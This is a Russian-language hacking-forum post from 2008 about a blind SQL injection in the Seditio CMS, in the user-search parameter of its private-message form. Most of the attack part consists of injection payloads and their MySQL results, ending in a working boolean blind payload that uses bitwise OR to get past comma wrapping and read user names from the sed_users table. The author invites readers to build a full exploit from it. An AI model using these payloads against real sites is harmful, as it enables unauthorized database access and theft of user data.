ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Seditio Remote Blind SQL Injection
  #1  
Старый 16.04.2008, 20:15
Аватар для Евгений Минаев
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию Seditio Remote Blind SQL Injection



SEDITIO, ранее Neocrome, а еще ранее LDU обзавелся новым багом, реализовать который было куда интереснее, нежели обычную иньекцию, пусть даже слепую. Все дело осложняется тем, что данные из формы обрамляются запятыми с обоих сторон для последующего помещения в поисковый запрос. Уязвимым является параметр для поиск юзера в отправке личных сообщений.

Подготавливаем запрос, учитывая облом с обрамлением запятых

Цитата:
mysql> ') or 1=2 union select `user_name` ',xek' from sed_users/*')
-> ') or 1=2 union select `user_name` '','xek' from sed_users/*')
И получаем очередной облом - первое поле не выводится. В течение получаса было перепробавана куча вариантов, были подключены тоха и подкащей, но mysql во всех на первый взгял верных запросах возвращал ноль.

Цитата:
mysql> =') or 1=2 union select 123','`username`/*''*/ from sed_users/*')
-> ') or 1=2 union select 123'',''`username`/*''*/ from sed_users/*')

mysql> ') or 1=2 union select user_name+','+user_name from sed_users/*')
-> ') or 1=2 union select user_name+'',''+user_name from sed_users/*')

mysql> ') or 1=2 union select user_name+','+`user_name`+'' from sed_users/*
-> ') or 1=2 union select user_name+'',''+`user_name`+'' from sed_users/*
Вариант с подзапросами и перебором я отбросил сразу, уж слишком много запятых требовалось экранировать, да и не получалось xD Тогда на помощь пришел dev.mysql.com который сообщил мне о поразрядных функциях, вкратце напомню

Цитата:
mysql> SELECT 1 | 1 -- поразрядное или
-> 1

mysql> SELECT 15 & 19 -- поразрядное и
-> 13

mysql> SELECT 1 ^ 0 -- поразрядное исключающее или
-> 1
Помимо этих трех есть еще поразрядный сдвиг и инвертирование, но нам для запроса понадобятся лишь эти, точнее один из них. Это единственные функции в mysql, которые позволяют сравнивать числа с нулевой строкой и при этом даже получать результат xD

Цитата:
mysql> ') or ascii(substring((select user_name from sed_users limit 1)|',1'|',1'|''))>0/*
-> 1
mysql> ') or ascii(substring((select user_name from sed_users limit 1)|',1'|',1'|''))<0/*
-> 0
Описание этой баги отказались принять на милворм, потому что stroke не разобрался, решил опубликовать тут, может кто и напишет эксплоит


underWHAT?!
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ